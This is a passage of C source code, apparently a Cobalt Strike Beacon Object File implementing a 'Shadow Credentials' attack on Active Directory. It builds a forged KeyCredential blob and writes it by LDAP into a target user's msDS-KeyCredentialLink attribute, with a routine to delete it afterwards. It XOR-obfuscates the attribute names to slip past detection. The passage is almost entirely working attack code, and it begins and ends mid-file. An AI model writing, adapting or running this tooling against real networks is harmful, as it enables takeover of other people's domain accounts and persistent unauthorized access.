CRYPT32$PFXExportCertStoreEx\n#define PFXImportCertStore CRYPT32$PFXImportCertStore\n#define CertEnumCertificatesInStore CRYPT32$CertEnumCertificatesInStore\n#define CryptAcquireCertificatePrivateKey CRYPT32$CryptAcquireCertificatePrivateKey\n#define CryptExportPublicKeyInfo CRYPT32$CryptExportPublicKeyInfo\n#define CryptSignAndEncodeCertificate CRYPT32$CryptSignAndEncodeCertificate\n#define CryptMsgOpenToEncode CRYPT32$CryptMsgOpenToEncode\n#define CryptMsgUpdate CRYPT32$CryptMsgUpdate\n#define CryptMsgGetParam CRYPT32$CryptMsgGetParam\n#define CryptMsgClose CRYPT32$CryptMsgClose\n\n#define CoInitializeEx OLE32$CoInitializeEx\n#define CoUninitialize OLE32$CoUninitialize\n#define CoCreateGuid OLE32$CoCreateGuid\n\n#define DsGetDcNameW NETAPI32$DsGetDcNameW\n#define NetApiBufferFree NETAPI32$NetApiBufferFree\n\n#define ldap_initW WLDAP32$ldap_initW\n#define ldap_bind_sW WLDAP32$ldap_bind_sW\n#define ldap_search_sW WLDAP32$ldap_search_sW\n#define ldap_unbind WLDAP32$ldap_unbind\n#define ldap_first_entry WLDAP32$ldap_first_entry\n#define ldap_get_dnW WLDAP32$ldap_get_dnW\n#define ldap_get_values_lenW WLDAP32$ldap_get_values_lenW\n#define ldap_value_free_len WLDAP32$ldap_value_free_len\n#define ldap_msgfree WLDAP32$ldap_msgfree\n#define ldap_set_optionW WLDAP32$ldap_set_optionW\n#define ldap_modify_sW WLDAP32$ldap_modify_sW\n#define ldap_memfreeW WLDAP32$ldap_memfreeW\n\n#define LocalAlloc KERNEL32$LocalAlloc\n#define LocalFree KERNEL32$LocalFree\n#define LoadLibraryA KERNEL32$LoadLibraryA\n#define GetProcAddress KERNEL32$GetProcAddress\n#define FreeLibrary KERNEL32$FreeLibrary\n#define MultiByteToWideChar KERNEL32$MultiByteToWideChar\n#define WideCharToMultiByte KERNEL32$WideCharToMultiByte\n#define GetSystemTime KERNEL32$GetSystemTime\n#define GetSystemTimeAsFileTime KERNEL32$GetSystemTimeAsFileTime\n#define GetLastError KERNEL32$GetLastError\n#define GetComputerNameExW KERNEL32$GetComputerNameExW\n#define SystemTimeToFileTime KERNEL32$SystemTimeToFileTime\n\n#define malloc MSVCRT$malloc\n#define free MSVCRT$free\n#define memset MSVCRT$memset\n#define memcpy MSVCRT$memcpy\n#define memcmp MSVCRT$memcmp\n#define strlen MSVCRT$strlen\n#define wcslen MSVCRT$wcslen\n#define sprintf MSVCRT$sprintf\n#define swprintf MSVCRT$swprintf\n#define strcpy MSVCRT$strcpy\n#define strcat MSVCRT$strcat\n#define strchr MSVCRT$strchr\n#define wcscpy MSVCRT$wcscpy\n#define wcscat MSVCRT$wcscat\n#define _stricmp MSVCRT$_stricmp\n#define rand MSVCRT$rand\n#define srand MSVCRT$srand\n#define time MSVCRT$time\n\n/*\n * =============================================================================\n * ASN.1/DER Encoding Functions\n * =============================================================================\n */\n\nstatic int EncodeLength(BYTE* buf, int len) {\n    if (len < 128) {\n        buf[0] = (BYTE)len;\n        return 1;\n    }\n    else if (len < 256) {\n        buf[0] = 0x81;\n        buf[1] = (BYTE)len;\n        return 2;\n    }\n    else if (len < 65536) {\n        buf[0] = 0x82;\n        buf[1] = (BYTE)(len >> 8);\n        buf[2] = (BYTE)(len & 0xFF);\n        return 3;\n    }\n    else {\n        buf[0] = 0x83;\n        buf[1] = (BYTE)(len >> 16);\n        buf[2] = (BYTE)((len >> 8) & 0xFF);\n        buf[3] = (BYTE)(len & 0xFF);\n        return 4;\n    }\n}\n\nstatic int DecodeLength(BYTE* data, int offset, int* length) {\n    if ((data[offset] & 0x80) == 0) {\n        *length = data[offset];\n        return 1;\n    }\n    else {\n        int numBytes = data[offset] & 0x7F;\n        int i;\n        *length = 0;\n        for (i = 1; i <= numBytes; i++) {\n            *length = (*length << 8) | data[offset + i];\n        }\n        return 1 + numBytes;\n    }\n}\n\nstatic BYTE* BuildSequence(BYTE* content, int contentLen, int* outLen) {\n    int lenSize;\n    BYTE lenBuf[4];\n    BYTE* result;\n    lenSize = EncodeLength(lenBuf, contentLen);\n    *outLen = 1 + lenSize + contentLen;\n    result = (BYTE*)malloc(*outLen);\n    result[0] = 0x30;\n    memcpy(result + 1, lenBuf, lenSize);\n    memcpy(result + 1 + lenSize, content, contentLen);\n    return result;\n}\n\nstatic BYTE* BuildInteger(int value, int* outLen) {\n    BYTE* result;\n    if (value >= 0 && value < 128) {\n        *outLen = 3;\n        result = (BYTE*)malloc(3);\n        result[0] = 0x02;\n        result[1] = 0x01;\n        result[2] = (BYTE)value;\n    }\n    else if (value >= 0 && value < 256) {\n        *outLen = 4;\n        result = (BYTE*)malloc(4);\n        result[0] = 0x02;\n        result[1] = 0x02;\n        result[2] = 0x00;\n        result[3] = (BYTE)value;\n    }\n    else {\n        *outLen = 6;\n        result = (BYTE*)malloc(6);\n        result[0] = 0x02;\n        result[1] = 0x04;\n        result[2] = (BYTE)(value >> 24);\n        result[3] = (BYTE)(value >> 16);\n        result[4] = (BYTE)(value >> 8);\n        result[5] = (BYTE)value;\n    }\n    return result;\n}\n\nstatic BYTE* BuildIntegerFromBytes(BYTE* data, int dataLen, int* outLen) {\n    BYTE* result;\n    int lenSize;\n    BYTE lenBuf[4];\n    int needPadding = (data[0] & 0x80) ? 1 : 0;\n    int totalDataLen = dataLen + needPadding;\n    lenSize = EncodeLength(lenBuf, totalDataLen);\n    *outLen = 1 + lenSize + totalDataLen;\n    result = (BYTE*)malloc(*outLen);\n    result[0] = 0x02;\n    memcpy(result + 1, lenBuf, lenSize);\n    if (needPadding) {\n        result[1 + lenSize] = 0x00;\n        memcpy(result + 2 + lenSize, data, dataLen);\n    }\n    else {\n        memcpy(result + 1 + lenSize, data, dataLen);\n    }\n    return result;\n}\n\nstatic BYTE* BuildOctetString(BYTE* data, int dataLen, int* outLen) {\n    BYTE* result;\n    int lenSize;\n    BYTE lenBuf[4];\n    lenSize = EncodeLength(lenBuf, dataLen);\n    *outLen = 1 + lenSize + dataLen;\n    result = (BYTE*)malloc(*outLen);\n    result[0] = 0x04;\n    memcpy(result + 1, lenBuf, lenSize);\n    memcpy(result + 1 + lenSize, data, dataLen);\n    return result;\n}\n\nstatic BYTE* BuildBitString(BYTE* data, int dataLen, int* outLen) {\n    BYTE* result;\n    int lenSize;\n    BYTE lenBuf[4];\n    lenSize = EncodeLength(lenBuf, dataLen + 1);\n    *outLen = 1 + lenSize + 1 + dataLen;\n    result = (BYTE*)malloc(*outLen);\n    result[0] = 0x03;\n    memcpy(result + 1, lenBuf, lenSize);\n    result[1 + lenSize] = 0x00;\n    memcpy(result + 2 + lenSize, data, dataLen);\n    return result;\n}\n\nstatic BYTE* BuildContextTag(int tagNum, BYTE* content, int contentLen, int* outLen) {\n    BYTE* result;\n    int lenSize;\n    BYTE lenBuf[4];\n    lenSize = EncodeLength(lenBuf, contentLen);\n    *outLen = 1 + lenSize + contentLen;\n    result = (BYTE*)malloc(*outLen);\n    result[0] = 0xA0 | tagNum;\n    memcpy(result + 1, lenBuf, lenSize);\n    memcpy(result + 1 + lenSize, content, contentLen);\n    return result;\n}\n\nstatic BYTE* BuildApplication(int appNum, BYTE* content, int contentLen, int* outLen) {\n    BYTE* result;\n    int lenSize;\n    BYTE lenBuf[4];\n    lenSize = EncodeLength(lenBuf, contentLen);\n    *outLen = 1 + lenSize + contentLen;\n    result = (BYTE*)malloc(*outLen);\n    result[0] = 0x60 | appNum;\n    memcpy(result + 1, lenBuf, lenSize);\n    memcpy(result + 1 + lenSize, content, contentLen);\n    return result;\n}\n\nstatic BYTE* BuildGeneralString(const char* str, int* outLen) {\n    int strLen = (int)strlen(str);\n    int lenSize;\n    BYTE lenBuf[4];\n    BYTE* result;\n    lenSize = EncodeLength(lenBuf, strLen);\n    *outLen = 1 + lenSize + strLen;\n    result = (BYTE*)malloc(*outLen);\n    result[0] = 0x1B;\n    memcpy(result + 1, lenBuf, lenSize);\n    memcpy(result + 1 + lenSize, str, strLen);\n    return result;\n}\n\nstatic BYTE* BuildGeneralizedTime(const char* timeStr, int* outLen) {\n    int strLen = (int)strlen(timeStr);\n    BYTE* result;\n    *outLen = 2 + strLen;\n    result = (BYTE*)malloc(*outLen);\n    result[0] = 0x18;\n    result[1] = (BYTE)strLen;\n    memcpy(result + 2, timeStr, strLen);\n    return result;\n}\n\n/*\n * =============================================================================\n * SHA-256 Hash Function\n * =============================================================================\n */\n\nstatic BOOL ComputeSha256(BYTE* data, int dataLen, BYTE* hash) {\n    HCRYPTPROV hProv;\n    HCRYPTHASH hHash;\n    DWORD hashLen = 32;\n    BOOL result = FALSE;\n\n    if (CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {\n        if (CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {\n            if (CryptHashData(hHash, data, dataLen, 0)) {\n                if (CryptGetHashParam(hHash, HP_HASHVAL, hash, &hashLen, 0)) {\n                    result = TRUE;\n                }\n            }\n            CryptDestroyHash(hHash);\n        }\n        CryptReleaseContext(hProv, 0);\n    }\n    return result;\n}\n\nstatic void ComputeSha1(BYTE* data, int dataLen, BYTE* hash) {\n    HCRYPTPROV hProv;\n    HCRYPTHASH hHash;\n    DWORD hashLen = 20;\n    if (CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) {\n        if (CryptCreateHash(hProv, CALG_SHA1, 0, 0, &hHash)) {\n            CryptHashData(hHash, data, dataLen, 0);\n            CryptGetHashParam(hHash, HP_HASHVAL, hash, &hashLen, 0);\n            CryptDestroyHash(hHash);\n        }\n        CryptReleaseContext(hProv, 0);\n    }\n}\n\n/*\n * =============================================================================\n * KeyCredential Blob Builder\n * =============================================================================\n */\n\nstatic BYTE* BuildKeyCredentialEntry(BYTE identifier, BYTE* data, int dataLen, int* outLen) {\n    BYTE* result;\n    *outLen = 3 + dataLen;\n    result = (BYTE*)malloc(*outLen);\n    /* Length (2 bytes, little-endian) + Type (1 byte) + Data */\n    result[0] = (BYTE)(dataLen & 0xFF);\n    result[1] = (BYTE)((dataLen >> 8) & 0xFF);\n    result[2] = identifier;\n    memcpy(result + 3, data, dataLen);\n    return result;\n}\n\nstatic BYTE* BuildKeyCredentialBlob(BYTE* publicKey, int publicKeyLen, GUID* deviceId, int* outLen) {\n    BYTE* result;\n    BYTE* binaryProperties;\n    int bpLen = 0;\n    BYTE keyId[32];\n    BYTE keyHash[32];\n    FILETIME ft;\n    BYTE customKeyInfo[2] = { 0x01, 0x00 };  /* Version=1, Flags=0 */\n    BYTE keyUsage[1] = { KEY_USAGE_NGC };\n    BYTE keySource[1] = { KEY_SOURCE_AD };\n    int offset;\n\n    /* Build entries for hashing (all entries after KeyHash) */\n    BYTE* keyMaterialEntry;\n    BYTE* keyUsageEntry;\n    BYTE* keySourceEntry;\n    BYTE* deviceIdEntry;\n    BYTE* customKeyInfoEntry;\n    BYTE* lastLogonEntry;\n    BYTE* creationEntry;\n    int kmLen, kuLen, ksLen, diLen, ckiLen, llLen, ctLen;\n\n    GetSystemTimeAsFileTime(&ft);\n    BYTE fileTimeBytes[8];\n    memcpy(fileTimeBytes, &ft, 8);\n\n    keyMaterialEntry = BuildKeyCredentialEntry(KCEI_KEYMATERIAL, publicKey, publicKeyLen, &kmLen);\n    keyUsageEntry = BuildKeyCredentialEntry(KCEI_KEYUSAGE, keyUsage, 1, &kuLen);\n    keySourceEntry = BuildKeyCredentialEntry(KCEI_KEYSOURCE, keySource, 1, &ksLen);\n    deviceIdEntry = BuildKeyCredentialEntry(KCEI_DEVICEID, (BYTE*)deviceId, 16, &diLen);\n    customKeyInfoEntry = BuildKeyCredentialEntry(KCEI_CUSTOMKEYINFO, customKeyInfo, 2, &ckiLen);\n    lastLogonEntry = BuildKeyCredentialEntry(KCEI_KEYLASTLOGON, fileTimeBytes, 8, &llLen);\n    creationEntry = BuildKeyCredentialEntry(KCEI_KEYCREATION, fileTimeBytes, 8, &ctLen);\n\n    /* Concatenate all entries for hash */\n    bpLen = kmLen + kuLen + ksLen + diLen + ckiLen + llLen + ctLen;\n    binaryProperties = (BYTE*)malloc(bpLen);\n    offset = 0;\n    memcpy(binaryProperties + offset, keyMaterialEntry, kmLen); offset += kmLen;\n    memcpy(binaryProperties + offset, keyUsageEntry, kuLen); offset += kuLen;\n    memcpy(binaryProperties + offset, keySourceEntry, ksLen); offset += ksLen;\n    memcpy(binaryProperties + offset, deviceIdEntry, diLen); offset += diLen;\n    memcpy(binaryProperties + offset, customKeyInfoEntry, ckiLen); offset += ckiLen;\n    memcpy(binaryProperties + offset, lastLogonEntry, llLen); offset += llLen;\n    memcpy(binaryProperties + offset, creationEntry, ctLen); offset += ctLen;\n\n    /* KeyID = SHA256(publicKey) */\n    ComputeSha256(publicKey, publicKeyLen, keyId);\n\n    /* KeyHash = SHA256(binaryProperties) */\n    ComputeSha256(binaryProperties, bpLen, keyHash);\n\n    /* Build final blob: Version + KeyID + KeyHash + binaryProperties */\n    BYTE* keyIdEntry;\n    BYTE* keyHashEntry;\n    int kiLen, khLen;\n\n    keyIdEntry = BuildKeyCredentialEntry(KCEI_KEYID, keyId, 32, &kiLen);\n    keyHashEntry = BuildKeyCredentialEntry(KCEI_KEYHASH, keyHash, 32, &khLen);\n\n    *outLen = 4 + kiLen + khLen + bpLen;\n    result = (BYTE*)malloc(*outLen);\n\n    /* Version 0x200 (little-endian) */\n    result[0] = 0x00;\n    result[1] = 0x02;\n    result[2] = 0x00;\n    result[3] = 0x00;\n\n    offset = 4;\n    memcpy(result + offset, keyIdEntry, kiLen); offset += kiLen;\n    memcpy(result + offset, keyHashEntry, khLen); offset += khLen;\n    memcpy(result + offset, binaryProperties, bpLen);\n\n    /* Cleanup */\n    free(keyMaterialEntry);\n    free(keyUsageEntry);\n    free(keySourceEntry);\n    free(deviceIdEntry);\n    free(customKeyInfoEntry);\n    free(lastLogonEntry);\n    free(creationEntry);\n    free(keyIdEntry);\n    free(keyHashEntry);\n    free(binaryProperties);\n\n    return result;\n}\n\n/*\n * =============================================================================\n * RSA Key Export in BCRYPT_RSAKEY_BLOB Format\n * =============================================================================\n */\n\nstatic BYTE* ExportRSAPublicKeyBCrypt(HCRYPTKEY hKey, int* outLen) {\n    BYTE* pubKeyBlob = NULL;\n    DWORD pubKeyBlobLen = 0;\n    BYTE* bcryptBlob = NULL;\n\n    /* Export in PUBLICKEYBLOB format */\n    if (!CryptExportKey(hKey, 0, PUBLICKEYBLOB, 0, NULL, &pubKeyBlobLen)) {\n        return NULL;\n    }\n\n    pubKeyBlob = (BYTE*)malloc(pubKeyBlobLen);\n    if (!CryptExportKey(hKey, 0, PUBLICKEYBLOB, 0, pubKeyBlob, &pubKeyBlobLen)) {\n        free(pubKeyBlob);\n        return NULL;\n    }\n\n    /* PUBLICKEYBLOB format:\n     * BLOBHEADER (8 bytes) + RSAPUBKEY (12 bytes) + modulus (bitlen/8 bytes)\n     * RSAPUBKEY: magic (4) + bitlen (4) + pubexp (4)\n     */\n    DWORD bitLen = *(DWORD*)(pubKeyBlob + 12);\n    DWORD modulusLen = bitLen / 8;\n    DWORD exponent = *(DWORD*)(pubKeyBlob + 16);\n    BYTE* modulus = pubKeyBlob + 20;\n\n    /* Build BCRYPT_RSAKEY_BLOB */\n    /* BCRYPT_RSAKEY_BLOB: Magic(4) + BitLength(4) + cbPublicExp(4) + cbModulus(4) + cbPrime1(4) + cbPrime2(4) + Exponent + Modulus */\n    int expLen = 3;  /* exponent 65537 = 0x010001 = 3 bytes */\n    *outLen = 24 + expLen + modulusLen;\n    bcryptBlob = (BYTE*)malloc(*outLen);\n\n    *(DWORD*)(bcryptBlob + 0) = BCRYPT_RSAPUBLIC_MAGIC;\n    *(DWORD*)(bcryptBlob + 4) = bitLen;\n    *(DWORD*)(bcryptBlob + 8) = expLen;\n    *(DWORD*)(bcryptBlob + 12) = modulusLen;\n    *(DWORD*)(bcryptBlob + 16) = 0;  /* cbPrime1 */\n    *(DWORD*)(bcryptBlob + 20) = 0;  /* cbPrime2 */\n\n    /* Exponent (big-endian) */\n    bcryptBlob[24] = 0x01;\n    bcryptBlob[25] = 0x00;\n    bcryptBlob[26] = 0x01;\n\n    /* Modulus - need to reverse because CryptoAPI exports little-endian but BCRYPT expects big-endian */\n    int i;\n    for (i = 0; i < (int)modulusLen; i++) {\n        bcryptBlob[27 + i] = modulus[modulusLen - 1 - i];\n    }\n\n    free(pubKeyBlob);\n    return bcryptBlob;\n}\n\n/*\n * =============================================================================\n * String Obfuscation - XOR deobfuscation at runtime\n * =============================================================================\n */\n\n#define XOR_KEY 0x5A\n\n /* Deobfuscate XOR'd wide string in-place */\nstatic void DeobfuscateW(WCHAR* str, int len) {\n    int i;\n    for (i = 0; i < len; i++) {\n        str[i] ^= XOR_KEY;\n    }\n}\n\n/* Deobfuscate XOR'd byte string in-place */\nstatic void DeobfuscateA(char* str, int len) {\n    int i;\n    for (i = 0; i < len; i++) {\n        str[i] ^= XOR_KEY;\n    }\n}\n\n/* Build obfuscated LDAP attribute names at runtime */\nstatic void GetObfuscatedStrings(WCHAR* samAccountName, WCHAR* distinguishedName,\n    WCHAR* objectSid, WCHAR* keyCredLink) {\n    /* \"sAMAccountName\" XOR 0x5A */\n    /* s=0x29 A=0x1B M=0x17 A=0x1B c=0x39 c=0x39 o=0x35 u=0x2F n=0x34 t=0x2E N=0x14 a=0x3B m=0x37 e=0x3F */\n    WCHAR sam[] = { 0x29, 0x1B, 0x17, 0x1B, 0x39, 0x39, 0x35, 0x2F, 0x34, 0x2E,\n                    0x14, 0x3B, 0x37, 0x3F, 0x00 };\n    /* \"distinguishedName\" XOR 0x5A */\n    /* d=0x3E i=0x33 s=0x29 t=0x2E i=0x33 n=0x34 g=0x3D u=0x2F i=0x33 s=0x29 h=0x32 e=0x3F d=0x3E N=0x14 a=0x3B m=0x37 e=0x3F */\n    WCHAR dn[] = { 0x3E, 0x33, 0x29, 0x2E, 0x33, 0x34, 0x3D, 0x2F, 0x33, 0x29,\n                   0x32, 0x3F, 0x3E, 0x14, 0x3B, 0x37, 0x3F, 0x00 };\n    /* \"objectSid\" XOR 0x5A */\n    /* o=0x35 b=0x38 j=0x30 e=0x3F c=0x39 t=0x2E S=0x09 i=0x33 d=0x3E */\n    WCHAR sid[] = { 0x35, 0x38, 0x30, 0x3F, 0x39, 0x2E, 0x09, 0x33, 0x3E, 0x00 };\n    /* \"msDS-KeyCredentialLink\" XOR 0x5A */\n    /* m=0x37 s=0x29 D=0x1E S=0x09 -=0x77 K=0x11 e=0x3F y=0x23 C=0x19 r=0x28 e=0x3F d=0x3E e=0x3F n=0x34 t=0x2E i=0x33 a=0x3B l=0x36 L=0x16 i=0x33 n=0x34 k=0x31 */\n    WCHAR kcl[] = { 0x37, 0x29, 0x1E, 0x09, 0x77, 0x11, 0x3F, 0x23, 0x19, 0x28,\n                    0x3F, 0x3E, 0x3F, 0x34, 0x2E, 0x33, 0x3B, 0x36, 0x16, 0x33,\n                    0x34, 0x31, 0x00 };\n\n    wcscpy(samAccountName, sam);\n    DeobfuscateW(samAccountName, 14);\n\n    wcscpy(distinguishedName, dn);\n    DeobfuscateW(distinguishedName, 17);\n\n    wcscpy(objectSid, sid);\n    DeobfuscateW(objectSid, 9);\n\n    wcscpy(keyCredLink, kcl);\n    DeobfuscateW(keyCredLink, 22);\n}\n\n/*\n * =============================================================================\n * LDAP Functions - Search for target and write attribute\n * =============================================================================\n */\n\nstatic BOOL LookupUserDNAndSID(const char* szTarget, const char* szDomain,\n    WCHAR* wszTargetDN, int dnLen, BYTE** ppSid, DWORD* pdwSidLen) {\n    LDAP* pLdap = NULL;\n    LDAPMessage* pResults = NULL;\n    LDAPMessage* pEntry = NULL;\n    struct berval** ppValues = NULL;\n    WCHAR* wszDomain = NULL;\n    WCHAR* wszBaseDN = NULL;\n    WCHAR* wszFilter = NULL;\n    WCHAR* wszTarget = NULL;\n    WCHAR wszSamAccountName[32];\n    WCHAR wszDistinguishedName[32];\n    WCHAR wszObjectSid[16];\n    WCHAR wszKeyCredLink[32];\n    WCHAR* attrs[3];\n\n    /* Deobfuscate attribute names */\n    GetObfuscatedStrings(wszSamAccountName, wszDistinguishedName, wszObjectSid, wszKeyCredLink);\n    attrs[0] = wszDistinguishedName;\n    attrs[1] = wszObjectSid;\n    attrs[2] = NULL;\n    ULONG ulResult;\n    BOOL bSuccess = FALSE;\n    ULONG ulOff = 0;\n\n    *ppSid = NULL;\n    *pdwSidLen = 0;\n    wszTargetDN[0] = L'\\0';\n\n    wszDomain = (WCHAR*)malloc(256 * sizeof(WCHAR));\n    wszBaseDN = (WCHAR*)malloc(512 * sizeof(WCHAR));\n    wszFilter = (WCHAR*)malloc(512 * sizeof(WCHAR));\n    wszTarget = (WCHAR*)malloc(256 * sizeof(WCHAR));\n\n    if (!wszDomain || !wszBaseDN || !wszFilter || !wszTarget) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Failed to allocate memory\");\n        goto cleanup;\n    }\n\n    memset(wszDomain, 0, 256 * sizeof(WCHAR));\n    memset(wszBaseDN, 0, 512 * sizeof(WCHAR));\n    memset(wszFilter, 0, 512 * sizeof(WCHAR));\n    memset(wszTarget, 0, 256 * sizeof(WCHAR));\n\n    MultiByteToWideChar(CP_UTF8, 0, szDomain, -1, wszDomain, 256);\n    MultiByteToWideChar(CP_UTF8, 0, szTarget, -1, wszTarget, 256);\n\n    /* Build base DN from domain */\n    {\n        WCHAR* pSrc = wszDomain;\n        WCHAR* pDst = wszBaseDN;\n        WCHAR* pSegStart = pSrc;\n        while (*pSrc) {\n            if (*pSrc == L'.') {\n                wcscpy(pDst, L\"DC=\");\n                pDst += 3;\n                while (pSegStart < pSrc) *pDst++ = *pSegStart++;\n                *pDst++ = L',';\n                pSegStart = pSrc + 1;\n            }\n            pSrc++;\n        }\n        wcscpy(pDst, L\"DC=\");\n        pDst += 3;\n        while (*pSegStart) *pDst++ = *pSegStart++;\n        *pDst = L'\\0';\n    }\n\n    pLdap = ldap_initW(wszDomain, LDAP_PORT);\n    if (!pLdap) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] ldap_init failed\");\n        goto cleanup;\n    }\n\n    ulOff = 0;\n    ldap_set_optionW(pLdap, LDAP_OPT_REFERRALS, &ulOff);\n\n    ulResult = ldap_bind_sW(pLdap, NULL, NULL, LDAP_AUTH_NEGOTIATE);\n    if (ulResult != LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] ldap_bind_s failed: %u\", ulResult);\n        ldap_unbind(pLdap);\n        goto cleanup;\n    }\n\n    /* Search by sAMAccountName (using deobfuscated string) */\n    SWPRINTF(wszFilter, L\"(%s=%s)\", wszSamAccountName, wszTarget);\n    ulResult = ldap_search_sW(pLdap, wszBaseDN, LDAP_SCOPE_SUBTREE, wszFilter, attrs, 0, &pResults);\n    if (ulResult != LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] ldap_search_s failed: %u\", ulResult);\n        ldap_unbind(pLdap);\n        goto cleanup;\n    }\n\n    pEntry = ldap_first_entry(pLdap, pResults);\n    if (!pEntry) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Target not found: %s (search returned 0 results)\", szTarget);\n        ldap_msgfree(pResults);\n        ldap_unbind(pLdap);\n        goto cleanup;\n    }\n\n    /* Get DN */\n    PWSTR dn = ldap_get_dnW(pLdap, pEntry);\n    if (dn) {\n        wcscpy(wszTargetDN, dn);\n        ldap_memfreeW(dn);\n    }\n\n    /* Get SID (using deobfuscated attribute name) */\n    ppValues = ldap_get_values_lenW(pLdap, pEntry, wszObjectSid);\n    if (ppValues && ppValues[0] && ppValues[0]->bv_len > 0) {\n        if (IsValidSid((PSID)ppValues[0]->bv_val)) {\n            DWORD dwSidLen = GetLengthSid((PSID)ppValues[0]->bv_val);\n            *ppSid = (BYTE*)malloc(dwSidLen);\n            if (*ppSid) {\n                memcpy(*ppSid, ppValues[0]->bv_val, dwSidLen);\n                *pdwSidLen = dwSidLen;\n            }\n        }\n        ldap_value_free_len(ppValues);\n    }\n\n    ldap_msgfree(pResults);\n    ldap_unbind(pLdap);\n    bSuccess = TRUE;\n\ncleanup:\n    if (wszDomain) free(wszDomain);\n    if (wszBaseDN) free(wszBaseDN);\n    if (wszFilter) free(wszFilter);\n    if (wszTarget) free(wszTarget);\n    return bSuccess;\n}\n\nstatic BOOL WriteKeyCredentialLink(const char* szDomain, WCHAR* wszTargetDN, BYTE* keyCredBlob, int blobLen) {\n    LDAP* pLdap = NULL;\n    WCHAR* wszDomain = NULL;\n    LDAPModW* mods[2];\n    LDAPModW mod;\n    ULONG ulResult;\n    BOOL bSuccess = FALSE;\n    ULONG ulOff = 0;\n    WCHAR wszSamAccountName[32];\n    WCHAR wszDistinguishedName[32];\n    WCHAR wszObjectSid[16];\n    WCHAR wszKeyCredLink[32];\n\n    /* Deobfuscate attribute name */\n    GetObfuscatedStrings(wszSamAccountName, wszDistinguishedName, wszObjectSid, wszKeyCredLink);\n\n    wszDomain = (WCHAR*)malloc(256 * sizeof(WCHAR));\n    if (!wszDomain) return FALSE;\n\n    MultiByteToWideChar(CP_UTF8, 0, szDomain, -1, wszDomain, 256);\n\n    pLdap = ldap_initW(wszDomain, LDAP_PORT);\n    if (!pLdap) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] ldap_init failed for write\");\n        free(wszDomain);\n        return FALSE;\n    }\n\n    ulOff = 0;\n    ldap_set_optionW(pLdap, LDAP_OPT_REFERRALS, &ulOff);\n\n    ulResult = ldap_bind_sW(pLdap, NULL, NULL, LDAP_AUTH_NEGOTIATE);\n    if (ulResult != LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] ldap_bind_s failed for write: %u\", ulResult);\n        ldap_unbind(pLdap);\n        free(wszDomain);\n        return FALSE;\n    }\n\n    /* Prepare modification - attribute is a DNWithBinary type */\n    /* Format: B:<hex_length>:<hex_blob>:<DN> */\n    int hexLen = blobLen * 2;\n    WCHAR* wszValue = (WCHAR*)malloc((32 + hexLen + wcslen(wszTargetDN) + 1) * sizeof(WCHAR));\n    WCHAR* strVals[2];\n    if (!wszValue) {\n        ldap_unbind(pLdap);\n        free(wszDomain);\n        return FALSE;\n    }\n\n    /* Build DNWithBinary string */\n    SWPRINTF(wszValue, L\"B:%d:\", hexLen);\n    int pos = (int)wcslen(wszValue);\n    int i;\n    for (i = 0; i < blobLen; i++) {\n        SWPRINTF(wszValue + pos + i * 2, L\"%02X\", keyCredBlob[i]);\n    }\n    wcscat(wszValue, L\":\");\n    wcscat(wszValue, wszTargetDN);\n\n    /* Use string values, not binary */\n    strVals[0] = wszValue;\n    strVals[1] = NULL;\n\n    mod.mod_op = LDAP_MOD_ADD;\n    mod.mod_type = wszKeyCredLink;  /* Use deobfuscated attribute name */\n    mod.mod_vals.modv_strvals = strVals;\n\n    mods[0] = &mod;\n    mods[1] = NULL;\n\n    ulResult = ldap_modify_sW(pLdap, wszTargetDN, mods);\n    if (ulResult == LDAP_SUCCESS) {\n        bSuccess = TRUE;\n        /* Save the value for later cleanup */\n        int valLen = (int)wcslen(wszValue) + 1;\n        g_wszKeyCredValue = (WCHAR*)malloc(valLen * sizeof(WCHAR));\n        if (g_wszKeyCredValue) {\n            wcscpy(g_wszKeyCredValue, wszValue);\n        }\n    }\n    else {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] ldap_modify_s failed: %u\", ulResult);\n    }\n\n    ldap_unbind(pLdap);\n    free(wszValue);\n    free(wszDomain);\n    return bSuccess;\n}\n\nstatic BOOL DeleteKeyCredentialLink(const char* szDomain, WCHAR* wszTargetDN) {\n    LDAP* pLdap = NULL;\n    WCHAR* wszDomain = NULL;\n    LDAPModW* mods[2];\n    LDAPModW mod;\n    ULONG ulResult;\n    BOOL bSuccess = FALSE;\n    ULONG ulOff = 0;\n    WCHAR wszSamAccountName[32];\n    WCHAR wszDistinguishedName[32];\n    WCHAR wszObjectSid[16];\n    WCHAR wszKeyCredLink[32];\n\n    if (!g_wszKeyCredValue) {\n        return FALSE;\n    }\n\n    /* Deobfuscate attribute name */\n    GetObfuscatedStrings(wszSamAccountName, wszDistinguishedName, wszObjectSid, wszKeyCredLink);\n\n    wszDomain = (WCHAR*)malloc(256 * sizeof(WCHAR));\n    if (!wszDomain) return FALSE;\n\n    MultiByteToWideChar(CP_UTF8, 0, szDomain, -1, wszDomain, 256);\n\n    pLdap = ldap_initW(wszDomain, LDAP_PORT);\n    if (!pLdap) {\n        free(wszDomain);\n        return FALSE;\n    }\n\n    ulOff = 0;\n    ldap_set_optionW(pLdap, LDAP_OPT_REFERRALS, &ulOff);\n\n    ulResult = ldap_bind_sW(pLdap, NULL, NULL, LDAP_AUTH_NEGOTIATE);\n    if (ulResult != LDAP_SUCCESS) {\n        ldap_unbind(pLdap);\n        free(wszDomain);\n        return FALSE;\n    }\n\n    /* Use the saved value for deletion */\n    WCHAR* strVals[2];\n    strVals[0] = g_wszKeyCredValue;\n    strVals[1] = NULL;\n\n    mod.mod_op = LDAP_MOD_DELETE;\n    mod.mod_type = wszKeyCredLink;\n    mod.mod_vals.modv_strvals = strVals;\n\n    mods[0] = &mod;\n    mods[1] = NULL;\n\n    ulResult = ldap_modify_sW(pLdap, wszTargetDN, mods);\n    if (ulResult == LDAP_SUCCESS) {\n        bSuccess = TRUE;\n    }\n\n    ldap_unbind(pLdap);\n    free(wszDomain);\n    return bSuccess;\n}\n\nstatic BOOL 